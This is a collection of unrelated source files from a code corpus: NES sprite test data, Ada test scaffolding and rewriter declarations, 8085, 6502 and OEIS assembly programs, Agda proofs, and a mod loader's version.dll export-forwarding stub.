ProcessMeta_NegativeX_Expected:
; meta sprite: 0, 128, start 5, palette 2
.byte 0, 118, 5, 2 << OAM_ATTR_PALETTE_SHIFT
.byte 0, 138, 5, 2 << OAM_ATTR_PALETTE_SHIFT | OAM_ATTR_V_FLIP_FLAG
.byte .lobyte(-10), 128, 6, 2 << OAM_ATTR_PALETTE_SHIFT
.byte 10, 128, 6, 2 << OAM_ATTR_PALETTE_SHIFT | OAM_ATTR_H_FLIP_FLAG
ProcessMeta_NegativeX_ExpectedEnd:
ProcessMeta_NegativeX_Expected2:
.byte %00010000
ProcessMeta_NegativeX_Expected2End:
ProcessMeta_OutOfBounds_Expected:
; meta sprite 0: -6, -6, start 5, palette 2
; out of bounds
.byte .lobyte(-6), 4, 5, 2 << OAM_ATTR_PALETTE_SHIFT | OAM_ATTR_V_FLIP_FLAG
; out of bounds
.byte 4, .lobyte(-6), 6, 2 << OAM_ATTR_PALETTE_SHIFT | OAM_ATTR_H_FLIP_FLAG
; meta sprite 1: 250, 235, start 5, palette 2
.byte 250, 225, 5, 2 << OAM_ATTR_PALETTE_SHIFT
; out of bounds
.byte 240, 235, 6, 2 << OAM_ATTR_PALETTE_SHIFT
; out of bounds
; meta sprite 2: 128, 128, start 5, palette 4
.byte 128, 118, 5, 4 << OAM_ATTR_PALETTE_SHIFT
.byte 128, 138, 5, 4 << OAM_ATTR_PALETTE_SHIFT | OAM_ATTR_V_FLIP_FLAG
.byte 118, 128, 6, 4 << OAM_ATTR_PALETTE_SHIFT
.byte 138, 128, 6, 4 << OAM_ATTR_PALETTE_SHIFT | OAM_ATTR_H_FLIP_FLAG
ProcessMeta_OutOfBounds_ExpectedEnd:
ProcessMeta_OutOfBounds_Expected2:
.byte %00000001
.byte %00000000
ProcessMeta_OutOfBounds_Expected2End:
.code
|
tests/tk-frame-frame_options_test_data.ads | thindil/tashy2 | 2 | 9551 | <filename>tests/tk-frame-frame_options_test_data.ads
-- This package is intended to set up and tear down the test environment.
-- Once created by GNATtest, this package will never be overwritten
-- automatically. Contents of this package can be modified in any way
-- except for sections surrounded by a 'read only' marker.
with Tk.Widget.Widget_Options_Test_Data.Widget_Options_Tests;
with GNATtest_Generated;
package Tk.Frame.Frame_Options_Test_Data is
-- begin read only
type Test_Frame_Options is new GNATtest_Generated.GNATtest_Standard.Tk
.Widget
.Widget_Options_Test_Data
.Widget_Options_Tests
.Test_Widget_Options
-- end read only
with
null record;
procedure Set_Up(Gnattest_T: in out Test_Frame_Options);
procedure Tear_Down(Gnattest_T: in out Test_Frame_Options);
end Tk.Frame.Frame_Options_Test_Data;
|
Programs/Program15.asm | trivedi-vatsal/8085-programs | 2 | 170078 |
;Add the contents of memory locations 200h and 2001h and place the result in the memory locations 2002h 2003h.
LXI H,2000H ;HL Points 2000H
MOV A,M ;Get the first operand
INX H ;HL points to 2001H
ADD M ;Add second operand
INX H ;HL points to 2002H
MOV M,A ;Store lower byte of result at 2002H
MVI A,00 ;Initialize higher byte result with 00H
ADC A ;Add carry in the higher byte
INX H ;HL points 2003h
MOV M,A ;Store the higher nbyte of result at 2003H
HLT ;Terminate the program
|
programs/oeis/074/A074068.asm | karttu/loda | 0 | 171387 | <reponame>karttu/loda
; A074068: Zigzag modulo 7.
; 1,2,3,10,9,8,7,6,5,4,17,16,15,14,13,12,11,24,23,22,21,20,19,18,31,30,29,28,27,26,25,38,37,36,35,34,33,32,45,44,43,42,41,40,39,52,51,50,49,48,47,46,59,58,57,56,55,54,53,66,65,64,63,62,61,60,73,72,71
mov $3,$0
add $3,1
mov $0,$3
lpb $0,1
sub $0,7
mov $2,$0
lpe
mov $1,$3
mul $2,2
sub $1,$2
|
src/MC6840-PLAY/MC6840-PLAY.asm | kuninet/K65-SBC | 0 | 829 | ;
; MC6840 PLAY
; Universal Minitor for 6502
;
CPU 6502
TARGET: EQU "6502"
;
;;; Functions
low function x,(x & 255)
high function x,(x >> 8)
;
STROUT EQU $FF98
PT0 EQU $28
;
; MC6840 PTM Address
;
ORG $8030
PTM_CR13 RMB 1
PTM_CR2 RMB 1
PTM_MSBT1 RMB 1
PTM_T1LSB RMB 1
PTM_MSBT2 RMB 1
PTM_T2LSB RMB 1
PTM_MSBT3 RMB 1
PTM_T3LSB RMB 1
;
org $0200
MAIN:
JSR PRINT_START
;
JSR INIT_6840
;
JSR PLAY
;
LDA #$00
STA PTM_MSBT1
STA PTM_T1LSB
STA PTM_MSBT2
STA PTM_T2LSB
STA PTM_MSBT3
STA PTM_T3LSB
;
JSR PRINT_END
BRK
;
PLAY:
LDA #$8
STA PLAY_CNT
LDX #$00
STX WK_X
;
PLAY_LOOP:
JSR SOUND_OUT
DEC PLAY_CNT
BNE PLAY_LOOP
;
RTS
;
SOUND_OUT:
LDX WK_X
INX
LDA S_DO1,X
STA PTM_MSBT2
DEX
LDA S_DO1,X
STA PTM_T2LSB
INX
INX
STX WK_X
JSR WAIT
RTS
;
INIT_6840:
LDA #$01
STA PTM_CR2
STA PTM_CR13
;
LDA #$FF
STA PTM_MSBT1
STA PTM_T1LSB
STA PTM_MSBT2
STA PTM_T2LSB
STA PTM_MSBT3
STA PTM_T3LSB
;
LDA #$82
STA PTM_CR2
LDA PTM_CR13
LDA #$93
STA PTM_CR2
LDA #$82
STA PTM_CR13
;
RTS
;
WAIT:
LDA #$FF
STA TIMER1
W_LOOP1:
LDA #$FF
STA TIMER2
W_LOOP2:
NOP
NOP
DEC TIMER2
BNE W_LOOP2
;
DEC TIMER1
BNE W_LOOP1
;
RTS
;
PRINT_START:
LDA #low(START_MSG)
STA PT0
LDA #high(START_MSG)
STA PT0+1
JSR STROUT
RTS
;
PRINT_END:
LDA #low(END_MSG)
STA PT0
LDA #high(END_MSG)
STA PT0+1
JSR STROUT
RTS
;
BRK ; PROGRAM END
;
; SOUND DEFINE
;
S_DO1 FDB $0DC2
;S_DO1S FDB $0CFC
S_RE1 FDB $0C42
;S_RE1S FDB $0B92
S_MI1 FDB $0AEB
S_FA1 FDB $0A4E
;S_FA1S FDB $09BA
S_SO1 FDB $092F
;S_SO1S FDB $08AB
S_RA1 FDB $082E
;S_RA1S FDB $07B8
S_SI1 FDB $074A
S_DO2 FDB $06E1
;S_DO2S FDB $067E
;S_RE2 FDB $0621
;S_RE2S FDB $05C9
;S_MI2 FDB $0575
;S_FA2 FDB $0527
;S_FA2S FDB $04DD
;S_SO2 FDB $0497
;S_SO2S FDB $0455
;S_RA2 FDB $0417
;S_RA2S FDB $03DC
;S_SI2 FDB $03A5
;S_DO3 FDB $0370
;
;
; MSG DEFINE
;
START_MSG FCB "PLAY START",$0D,$0A,$00
END_MSG FCB "PLAY END",$0D,$0A,$00
;
; WORK AREA
;
org $30
;
TIMER1 RMB 1
TIMER2 RMB 1
;
PLAY_CNT RMB 1
WK_X RMB 1
END
|
agda/Enumeration.agda | mchristianl/synthetic-reals | 3 | 7604 | <filename>agda/Enumeration.agda<gh_stars>1-10
{-# OPTIONS --cubical --no-import-sorts --allow-unsolved-metas #-}
open import Cubical.Foundations.Everything renaming (_β»ΒΉ to _β»ΒΉα΅; assoc to β-assoc)
open import Cubical.Relation.Nullary.Base -- Β¬_
open import Cubical.Relation.Binary.Base -- Rel
open import Cubical.Data.Sigma.Base renaming (_Γ_ to infixr 4 _Γ_)
open import Cubical.Data.Empty renaming (elim to β₯-elim) -- `β₯` and `elim`
open import Function.Base using (_$_)
open import Cubical.Data.Nat hiding (min)
open import Cubical.Data.Nat.Order
-- open import Cubical.Data.Nat.Properties -- using (+-suc; injSuc; snotz; +-comm; +-assoc; +-zero; inj-m+)
open import MoreNatProperties
module Enumeration
{β}
{A : Type β}
(f : A β β)
(fβ»ΒΉ : β β A)
(isRetraction : β x β fβ»ΒΉ (f x) β‘ x)
where
_β€'_ : Rel A A β-zero
a β€' b = (f a) β€ (f b)
min' : A β A β A
min' a b = fβ»ΒΉ (min (f a) (f b))
max' : A β A β A
max' a b = fβ»ΒΉ (max (f a) (f b))
max'-sym : β a b β max' a b β‘ max' b a
max'-sym a b with f a β f b | f b β f a
... | lt x | lt y = β₯-elim {A = Ξ» _ β fβ»ΒΉ (f b) β‘ fβ»ΒΉ (f a)} $ <-asymΚ· _ _ x y
... | lt x | eq y = refl
... | lt x | gt y = refl
... | eq x | lt y = refl
... | eq x | eq y = cong fβ»ΒΉ x
... | eq x | gt y = cong fβ»ΒΉ x
... | gt x | lt y = refl
... | gt x | eq y = sym (cong fβ»ΒΉ y)
... | gt x | gt y = β₯-elim {A = Ξ» _ β fβ»ΒΉ (f a) β‘ fβ»ΒΉ (f b)} $ <-asymΚ· _ _ x y
max'-implies-β€'β : β a b β a β€' max' a b
max'-implies-β€'β a b with (f a) β (f b)
... | lt (x , p) = suc x , sym (+-suc _ _) β p β cong f (sym (isRetraction b))
... | eq x = 0 , sym (cong f (isRetraction a) β refl {x = f a})
... | gt x = 0 , sym (cong f (isRetraction a) β refl {x = f a})
max-implies-β€' : β a b β (a β€' max' a b) Γ (b β€' max' a b)
max-implies-β€' a b = max'-implies-β€'β a b , transport (Ξ» i β b β€' max'-sym b a i) (max'-implies-β€'β b a)
min'-sym : β a b β min' a b β‘ min' b a
min'-sym a b with f a β f b | f b β f a
... | lt x | lt y = β₯-elim {A = Ξ» _ β fβ»ΒΉ (f a) β‘ fβ»ΒΉ (f b)} $ <-asymΚ· _ _ x y
... | lt x | eq y = sym (cong fβ»ΒΉ y)
... | lt x | gt y = refl
... | eq x | lt y = cong fβ»ΒΉ x
... | eq x | eq y = cong fβ»ΒΉ x
... | eq x | gt y = refl
... | gt x | lt y = refl
... | gt x | eq y = refl
... | gt x | gt y = β₯-elim {A = Ξ» _ β fβ»ΒΉ (f b) β‘ fβ»ΒΉ (f a)} $ <-asymΚ· _ _ x y
min'-implies-β€'β : β a b β min' a b β€' a
min'-implies-β€'β a b with (f a) β (f b)
... | lt x = 0 , cong f (isRetraction a) β refl {x = f a}
... | eq x = 0 , cong f (isRetraction a) β refl {x = f a}
... | gt (x , p) = suc x , (Ξ» i β suc (x + cong f (sym (isRetraction b)) (~ i))) β sym (+-suc _ _) β p
min-implies-β€' : β a b β (min' a b β€' a) Γ (min' a b β€' b)
min-implies-β€' a b = min'-implies-β€'β a b , transport (Ξ» i β min'-sym b a i β€' b) (min'-implies-β€'β b a)
|
Proxy/version.asm | XionsProphecy-Software/MelonLoader | 1 | 170358 | <filename>Proxy/version.asm
ifdef RAX
.code
extern version_OriginalFuncs:QWORD
GetFileVersionInfoA proc
jmp QWORD ptr version_OriginalFuncs[0 * 8]
GetFileVersionInfoA endp
GetFileVersionInfoByHandle proc
jmp QWORD ptr version_OriginalFuncs[1 * 8]
GetFileVersionInfoByHandle endp
GetFileVersionInfoExA proc
jmp QWORD ptr version_OriginalFuncs[2 * 8]
GetFileVersionInfoExA endp
GetFileVersionInfoExW proc
jmp QWORD ptr version_OriginalFuncs[3 * 8]
GetFileVersionInfoExW endp
GetFileVersionInfoSizeA proc
jmp QWORD ptr version_OriginalFuncs[4 * 8]
GetFileVersionInfoSizeA endp
GetFileVersionInfoSizeExA proc
jmp QWORD ptr version_OriginalFuncs[5 * 8]
GetFileVersionInfoSizeExA endp
GetFileVersionInfoSizeExW proc
jmp QWORD ptr version_OriginalFuncs[6 * 8]
GetFileVersionInfoSizeExW endp
GetFileVersionInfoSizeW proc
jmp QWORD ptr version_OriginalFuncs[7 * 8]
GetFileVersionInfoSizeW endp
GetFileVersionInfoW proc
jmp QWORD ptr version_OriginalFuncs[8 * 8]
GetFileVersionInfoW endp
VerFindFileA proc
jmp QWORD ptr version_OriginalFuncs[9 * 8]
VerFindFileA endp
VerFindFileW proc
jmp QWORD ptr version_OriginalFuncs[10 * 8]
VerFindFileW endp
VerInstallFileA proc
jmp QWORD ptr version_OriginalFuncs[11 * 8]
VerInstallFileA endp
VerInstallFileW proc
jmp QWORD ptr version_OriginalFuncs[12 * 8]
VerInstallFileW endp
VerLanguageNameA proc
jmp QWORD ptr version_OriginalFuncs[13 * 8]
VerLanguageNameA endp
VerLanguageNameW proc
jmp QWORD ptr version_OriginalFuncs[14 * 8]
VerLanguageNameW endp
VerQueryValueA proc
jmp QWORD ptr version_OriginalFuncs[15 * 8]
VerQueryValueA endp
VerQueryValueW proc
jmp QWORD ptr version_OriginalFuncs[16 * 8]
VerQueryValueW endp
else
.model flat, C
.stack 4096
.code
extern version_OriginalFuncs:DWORD
GetFileVersionInfoA proc
jmp DWORD ptr version_OriginalFuncs[0 * 4]
GetFileVersionInfoA endp
GetFileVersionInfoByHandle proc
jmp DWORD ptr version_OriginalFuncs[1 * 4]
GetFileVersionInfoByHandle endp
GetFileVersionInfoExA proc
jmp DWORD ptr version_OriginalFuncs[2 * 4]
GetFileVersionInfoExA endp
GetFileVersionInfoExW proc
jmp DWORD ptr version_OriginalFuncs[3 * 4]
GetFileVersionInfoExW endp
GetFileVersionInfoSizeA proc
jmp DWORD ptr version_OriginalFuncs[4 * 4]
GetFileVersionInfoSizeA endp
GetFileVersionInfoSizeExA proc
jmp DWORD ptr version_OriginalFuncs[5 * 4]
GetFileVersionInfoSizeExA endp
GetFileVersionInfoSizeExW proc
jmp DWORD ptr version_OriginalFuncs[6 * 4]
GetFileVersionInfoSizeExW endp
GetFileVersionInfoSizeW proc
jmp DWORD ptr version_OriginalFuncs[7 * 4]
GetFileVersionInfoSizeW endp
GetFileVersionInfoW proc
jmp DWORD ptr version_OriginalFuncs[8 * 4]
GetFileVersionInfoW endp
VerFindFileA proc
jmp DWORD ptr version_OriginalFuncs[9 * 4]
VerFindFileA endp
VerFindFileW proc
jmp DWORD ptr version_OriginalFuncs[10 * 4]
VerFindFileW endp
VerInstallFileA proc
jmp DWORD ptr version_OriginalFuncs[11 * 4]
VerInstallFileA endp
VerInstallFileW proc
jmp DWORD ptr version_OriginalFuncs[12 * 4]
VerInstallFileW endp
VerLanguageNameA proc
jmp DWORD ptr version_OriginalFuncs[13 * 4]
VerLanguageNameA endp
VerLanguageNameW proc
jmp DWORD ptr version_OriginalFuncs[14 * 4]
VerLanguageNameW endp
VerQueryValueA proc
jmp DWORD ptr version_OriginalFuncs[15 * 4]
VerQueryValueA endp
VerQueryValueW proc
jmp DWORD ptr version_OriginalFuncs[16 * 4]
VerQueryValueW endp
endif
end |
programs/oeis/016/A016996.asm | neoneye/loda | 22 | 86821 | <gh_stars>10-100
; A016996: a(n) = (7*n + 1)^4.
; 1,4096,50625,234256,707281,1679616,3418801,6250000,10556001,16777216,25411681,37015056,52200625,71639296,96059601,126247696,163047361,207360000,260144641,322417936,395254161,479785216,577200625,688747536,815730721,959512576,1121513121,1303210000,1506138481,1731891456,1982119441,2258530576,2562890625,2897022976,3262808641,3662186256,4097152081,4569760000,5082121521,5636405776,6234839521,6879707136,7573350625,8318169616,9116621361,9971220736,10884540241,11859210000,12897917761,14003408896,15178486401,16426010896,17748900625,19150131456,20632736881,22199808016,23854493601,25600000000,27439591201,29376588816,31414372081,33556377856,35806100625,38167092496,40642963201,43237380096,45954068161,48796810000,51769445841,54875873536,58120048561,61505984016,65037750625,68719476736,72555348321,76549608976,80706559921,85030560000,89526025681,94197431056,99049307841,104086245376,109312890625,114733948176,120354180241,126178406656,132211504881,138458410000,144924114721,151613669376,158532181921,165684817936,173076800625,180713410816,188599986961,196741925136,205144679041,213813760000,222754736961,231973236496
mul $0,7
add $0,1
pow $0,4
|
test/Fail/ClashingModuleImport.agda | shlevy/agda | 1,989 | 12003 | <reponame>shlevy/agda
-- Andreas, 2014-09-01 restored this test case
module ClashingModuleImport where
module M where
open import Imports.Module public
|
programs/oeis/101/A101304.asm | neoneye/loda | 22 | 3500 | <reponame>neoneye/loda<gh_stars>10-100
; A101304: a(n) = 2^(prime(n) + 1) + 1.
; 9,17,65,257,4097,16385,262145,1048577,16777217,1073741825,4294967297,274877906945,4398046511105,17592186044417,281474976710657,18014398509481985,1152921504606846977,4611686018427387905,295147905179352825857,4722366482869645213697
seq $0,40 ; The prime numbers.
add $0,1
mov $1,2
pow $1,$0
add $1,1
mov $0,$1
|
src/libraries/Rewriters_Lib/src/predefined_rewriters.ads | Fabien-Chouteau/Renaissance-Ada | 0 | 14349 | <gh_stars>0
with Libadalang.Analysis; use Libadalang.Analysis;
with Libadalang.Common; use Libadalang.Common;
with Rejuvenation.Match_Patterns; use Rejuvenation.Match_Patterns;
with Rejuvenation.Patterns; use Rejuvenation.Patterns;
with Placeholder_Relations; use Placeholder_Relations;
with Rewriters_Minimal_Parentheses; use Rewriters_Minimal_Parentheses;
with Rewriters_Find_And_Replace; use Rewriters_Find_And_Replace;
with Rewriters_Sequence; use Rewriters_Sequence;
-- Our experience so far is that you don't want to apply
-- any patch without reviewing.
-- Some rewrite opportunities are caused by
-- programmer errors, such as copy, paste, not modified errors.
-- By making the change, one loses the ability to spot the
-- real error, and make the necessary, correct change.
-- TODO: make smart rewrite - e.g. only RMP once
-- So rewriters is minimal required / rewriters can be removed
-- if they will be called anyway!
package Predefined_Rewriters is
----------------------------------------------------------------------------
-- Expressions
----------------------------------------------------------------------------
RMP : aliased constant Rewriter_Minimal_Parentheses;
Rewriter_Definition_Equal : aliased constant Rewriter_Find_And_Replace;
Rewriter_Definition_Different : aliased constant Rewriter_Find_And_Replace;
Rewriter_Definition_Minus : aliased constant Rewriter_Find_And_Replace;
Rewriter_Definition_Divide : aliased constant Rewriter_Find_And_Replace;
Rewriter_Definition_Modulo : aliased constant Rewriter_Find_And_Replace;
Rewriter_Definition_Remainder : aliased constant Rewriter_Find_And_Replace;
Rewriter_Idempotence_And : aliased constant Rewriter_Find_And_Replace;
Rewriter_Idempotence_Or : aliased constant Rewriter_Find_And_Replace;
Rewriter_Complementation_And : aliased constant Rewriter_Find_And_Replace;
Rewriter_Complementation_Or : aliased constant Rewriter_Find_And_Replace;
Rewriter_Not_Not : aliased constant Rewriter_Find_And_Replace;
Rewriter_Not_Equal : aliased constant Rewriter_Find_And_Replace;
Rewriter_Not_Different : aliased constant Rewriter_Find_And_Replace;
Rewriter_Not_Greater_Than : aliased constant Rewriter_Find_And_Replace;
Rewriter_Not_Greater_Equal : aliased constant Rewriter_Find_And_Replace;
Rewriter_Not_Less_Than : aliased constant Rewriter_Find_And_Replace;
Rewriter_Not_Less_Equal : aliased constant Rewriter_Find_And_Replace;
Rewriter_Not_In : aliased constant Rewriter_Find_And_Replace;
Rewriter_Not_Not_In : aliased constant Rewriter_Find_And_Replace;
Rewriter_And_Then : aliased constant Rewriter_Find_And_Replace;
Rewriter_Or_Else : aliased constant Rewriter_Find_And_Replace;
Rewriter_Equal_True : aliased constant Rewriter_Find_And_Replace;
Rewriter_Equal_False : aliased constant Rewriter_Find_And_Replace;
Rewriter_Different_True : aliased constant Rewriter_Find_And_Replace;
Rewriter_Different_False : aliased constant Rewriter_Find_And_Replace;
Rewrite_De_Morgan_Not_And : aliased constant Rewriter_Find_And_Replace;
Rewrite_De_Morgan_Not_Or : aliased constant Rewriter_Find_And_Replace;
Rewrite_De_Morgan_Not_All_Range :
aliased constant Rewriter_Find_And_Replace;
Rewrite_De_Morgan_Not_All_Elements :
aliased constant Rewriter_Find_And_Replace;
Rewrite_De_Morgan_Not_Some_Range :
aliased constant Rewriter_Find_And_Replace;
Rewrite_De_Morgan_Not_Some_Elements :
aliased constant Rewriter_Find_And_Replace;
Rewriter_If_True_Expression :
aliased constant Rewriter_Find_And_Replace;
Rewriter_If_False_Expression :
aliased constant Rewriter_Find_And_Replace;
Rewriter_If_Identical_Expression :
aliased constant Rewriter_Find_And_Replace;
Rewriter_If_Different_Expression :
aliased constant Rewriter_Find_And_Replace;
Rewriter_If_Not_Condition_Expression :
aliased constant Rewriter_Find_And_Replace;
Rewriter_If_Not_In_Expression :
aliased constant Rewriter_Find_And_Replace;
Rewriter_Boolean_If_Condition_Expression :
aliased constant Rewriter_Find_And_Replace;
Rewriter_Boolean_If_Not_Condition_Expression :
aliased constant Rewriter_Find_And_Replace;
Rewriter_Integer_Max_Greater_Than :
aliased constant Rewriter_Find_And_Replace;
Rewriter_Integer_Max_Greater_Equal :
aliased constant Rewriter_Find_And_Replace;
Rewriter_Integer_Max_Less_Than : aliased constant Rewriter_Find_And_Replace;
Rewriter_Integer_Max_Less_Equal :
aliased constant Rewriter_Find_And_Replace;
Rewriter_Integer_Min_Greater_Than :
aliased constant Rewriter_Find_And_Replace;
Rewriter_Integer_Min_Greater_Equal :
aliased constant Rewriter_Find_And_Replace;
Rewriter_Integer_Min_Less_Than :
aliased constant Rewriter_Find_And_Replace;
Rewriter_Integer_Min_Less_Equal :
aliased constant Rewriter_Find_And_Replace;
Rewriter_Concat_Before_If_Expression :
aliased constant Rewriter_Find_And_Replace;
Rewriter_Concat_After_If_Expression :
aliased constant Rewriter_Find_And_Replace;
Rewriter_Plus_Before_If_Expression :
aliased constant Rewriter_Find_And_Replace;
Rewriter_Plus_After_If_Expression :
aliased constant Rewriter_Find_And_Replace;
Rewriter_Case_Expression_Binary_With_Others :
aliased constant Rewriter_Find_And_Replace;
Rewriter_Double : aliased constant Rewriter_Find_And_Replace;
Rewriter_Equals_To_In_Range : aliased constant Rewriter_Find_And_Replace;
Rewriter_Combine_In_Range_And_Equal :
aliased constant Rewriter_Find_And_Replace;
Rewriter_Combine_In_Ranges : aliased constant Rewriter_Find_And_Replace;
Rewriter_Differents_To_Not_In_Range :
aliased constant Rewriter_Find_And_Replace;
Rewriter_Combine_Not_In_Range_And_Different :
aliased constant Rewriter_Find_And_Replace;
Rewriter_Combine_Not_In_Ranges : aliased constant Rewriter_Find_And_Replace;
----------------------------------------------------------------------------
-- Statements
----------------------------------------------------------------------------
Rewriter_Unnecessary_Null_Stmt : aliased constant Rewriter_Find_And_Replace;
Rewriter_If_True_Stmt : aliased constant Rewriter_Find_And_Replace;
Rewriter_If_False_Stmt : aliased constant Rewriter_Find_And_Replace;
Rewriter_If_Different_Stmt : aliased constant Rewriter_Find_And_Replace;
Rewriter_If_Not_Condition_Stmt : aliased constant Rewriter_Find_And_Replace;
Rewriter_If_Not_In_Stmt : aliased constant Rewriter_Find_And_Replace;
Rewriter_Use_Elsif : aliased constant Rewriter_Find_And_Replace;
Rewriter_Null_Then_Branch : aliased constant Rewriter_Find_And_Replace;
Rewriter_Null_Else_Branch : aliased constant Rewriter_Find_And_Replace;
Rewriter_If_Identical_Branches_Stmt :
aliased constant Rewriter_Find_And_Replace;
Rewriter_If_Identical_Tails_Stmt :
aliased constant Rewriter_Find_And_Replace;
Rewriter_If_Argument_Stmt : aliased constant Rewriter_Find_And_Replace;
Rewriter_If_Assignment_Stmt : aliased constant Rewriter_Find_And_Replace;
Rewriter_If_Return_Stmt : aliased constant Rewriter_Find_And_Replace;
Rewriter_If_Return_Stmts : aliased constant Rewriter_Find_And_Replace;
Rewriter_Case_Single : aliased constant Rewriter_Find_And_Replace;
Rewriter_Case_Binary_With_Others :
aliased constant Rewriter_Find_And_Replace;
Rewriter_Case_Identical_Branches :
aliased constant Rewriter_Find_And_Replace;
Rewriter_Return_Expression : aliased constant Rewriter_Find_And_Replace;
Rewriter_Declare_And_Overwrite : aliased constant Rewriter_Find_And_Replace;
Rewriter_For_All_Range_And_Then :
aliased constant Rewriter_Find_And_Replace;
Rewriter_For_All_Elements_And_Then :
aliased constant Rewriter_Find_And_Replace;
Rewriter_For_Some_Range_Or_Else :
aliased constant Rewriter_Find_And_Replace;
Rewriter_For_Some_Elements_Or_Else :
aliased constant Rewriter_Find_And_Replace;
Rewriter_For_All_Range_Exit : aliased constant Rewriter_Find_And_Replace;
Rewriter_For_All_Elements_Exit : aliased constant Rewriter_Find_And_Replace;
Rewriter_For_Some_Range_Exit : aliased constant Rewriter_Find_And_Replace;
Rewriter_For_Some_Elements_Exit :
aliased constant Rewriter_Find_And_Replace;
Rewriter_For_All_Range_Return : aliased constant Rewriter_Find_And_Replace;
Rewriter_For_All_Elements_Return :
aliased constant Rewriter_Find_And_Replace;
Rewriter_For_Some_Range_Return : aliased constant Rewriter_Find_And_Replace;
Rewriter_For_Some_Elements_Return :
aliased constant Rewriter_Find_And_Replace;
Rewriter_For_All_Range_All : aliased constant Rewriter_Find_And_Replace;
Rewriter_For_All_Elements_All : aliased constant Rewriter_Find_And_Replace;
Rewriter_For_Some_Range_All : aliased constant Rewriter_Find_And_Replace;
Rewriter_For_Some_Elements_All : aliased constant Rewriter_Find_And_Replace;
Rewriter_Append : aliased constant Rewriter_Find_And_Replace;
Rewriter_Append_To_Unbounded_String :
aliased constant Rewriter_Find_And_Replace;
----------------------------------------------------------------------------
-- Declarations
----------------------------------------------------------------------------
Rewriter_Declarations_Combine : aliased constant Rewriter_Find_And_Replace;
Rewriter_For_Attribute_Use : aliased constant Rewriter_Find_And_Replace;
Rewriter_For_Attribute_Use_Aliased :
aliased constant Rewriter_Find_And_Replace;
Rewriter_For_Attribute_Use_Array :
aliased constant Rewriter_Find_And_Replace;
Rewriter_For_Attribute_Use_Pragma_Var :
aliased constant Rewriter_Find_And_Replace;
Rewriter_For_Attribute_Use_Pragma_All :
aliased constant Rewriter_Find_And_Replace;
private
function Is_Boolean_Expression
(Match : Match_Pattern; Placeholder_Name : String) return Boolean;
function Is_Integer_Expression
(Match : Match_Pattern; Placeholder_Name : String) return Boolean;
function Is_Float_Expression
(Match : Match_Pattern; Placeholder_Name : String) return Boolean;
function Is_String_Expression
(Match : Match_Pattern; Placeholder_Name : String) return Boolean;
function Is_Unbounded_String
(Match : Match_Pattern; Placeholder_Name : String) return Boolean;
function Is_Referenced_Decl_Defined_In_AStrUnb
(N : Name)
return Boolean;
function Accept_Boolean (Match : Match_Pattern) return Boolean is
(Is_Boolean_Expression (Match, "$S_Expr"));
function Accept_Unbounded_String (Match : Match_Pattern) return Boolean is
(Is_Unbounded_String (Match, "$S_Var"));
function Accept_No_Side_Effects (Match : Match_Pattern) return Boolean is
(not Has_Side_Effect (Match, "$S_Expr"));
function Accept_Multiple_No_Side_Effects
(Match : Match_Pattern) return Boolean is
(not Has_Side_Effect (Match, "$M_Expr"));
function Accept_Boolean_No_Side_Effects
(Match : Match_Pattern) return Boolean is
(Is_Boolean_Expression (Match, "$S_Expr")
and then not Has_Side_Effect (Match, "$S_Expr"));
function Accept_Integer_No_Side_Effects
(Match : Match_Pattern) return Boolean is
(Is_Integer_Expression (Match, "$S_Expr")
and then not Has_Side_Effect (Match, "$S_Expr"));
RMP : aliased constant Rewriter_Minimal_Parentheses :=
Make_Rewriter_Minimal_Parentheses;
Rewriter_Definition_Equal : aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern ("$S_Expr = $S_Expr", Expr_Rule),
Make_Pattern ("true", Expr_Rule), Accept_No_Side_Effects'Access);
Rewriter_Definition_Different :
aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern ("$S_Expr /= $S_Expr", Expr_Rule),
Make_Pattern ("false", Expr_Rule), Accept_No_Side_Effects'Access);
Rewriter_Definition_Minus : aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern ("$S_Expr - $S_Expr", Expr_Rule),
Make_Pattern ("0", Expr_Rule), Accept_Integer_No_Side_Effects'Access);
-- TODO can it be correct for integers & float at the same time?
Rewriter_Definition_Divide : aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern ("$S_Expr / $S_Expr", Expr_Rule),
Make_Pattern ("1", Expr_Rule), Accept_Integer_No_Side_Effects'Access);
-- TODO can it be correct for integers & float at the same time?
Rewriter_Definition_Modulo : aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern ("$S_Expr mod $S_Expr", Expr_Rule),
Make_Pattern ("0", Expr_Rule), Accept_No_Side_Effects'Access);
-- mod only defined for integers
Rewriter_Definition_Remainder :
aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern ("$S_Expr rem $S_Expr", Expr_Rule),
Make_Pattern ("0", Expr_Rule), Accept_No_Side_Effects'Access);
-- rem only defined for integers
Rewriter_Idempotence_And : aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern ("$S_Expr and then $S_Expr", Expr_Rule),
Make_Pattern ("$S_Expr", Expr_Rule), Accept_No_Side_Effects'Access);
Rewriter_Idempotence_Or : aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern ("$S_Expr or else $S_Expr", Expr_Rule),
Make_Pattern ("$S_Expr", Expr_Rule), Accept_No_Side_Effects'Access);
Rewriter_Complementation_And : aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern ("$S_Expr and then not $S_Expr", Expr_Rule),
Make_Pattern ("false", Expr_Rule), Accept_No_Side_Effects'Access);
-- TODO include variants with
-- * swapped order of A and not A
-- * parenthesis around not argument
-- (only needed when additional parenthesis
-- are allowed, e.g. for readability)
Rewriter_Complementation_Or : aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern ("$S_Expr or else not $S_Expr", Expr_Rule),
Make_Pattern ("true", Expr_Rule), Accept_No_Side_Effects'Access);
-- TODO include variants with
-- * swapped order of A and not A
-- * parenthesis around not argument
-- (only needed when additional parenthesis
-- are allowed, e.g. for readability)
Rewriter_Not_Not : aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern ("not (not $S_Cond)", Expr_Rule),
Make_Pattern ("$S_Cond", Expr_Rule));
-- also known as "Double negation"
Rewriter_Not_Equal : aliased constant Rewriter_Find_And_Replace :=
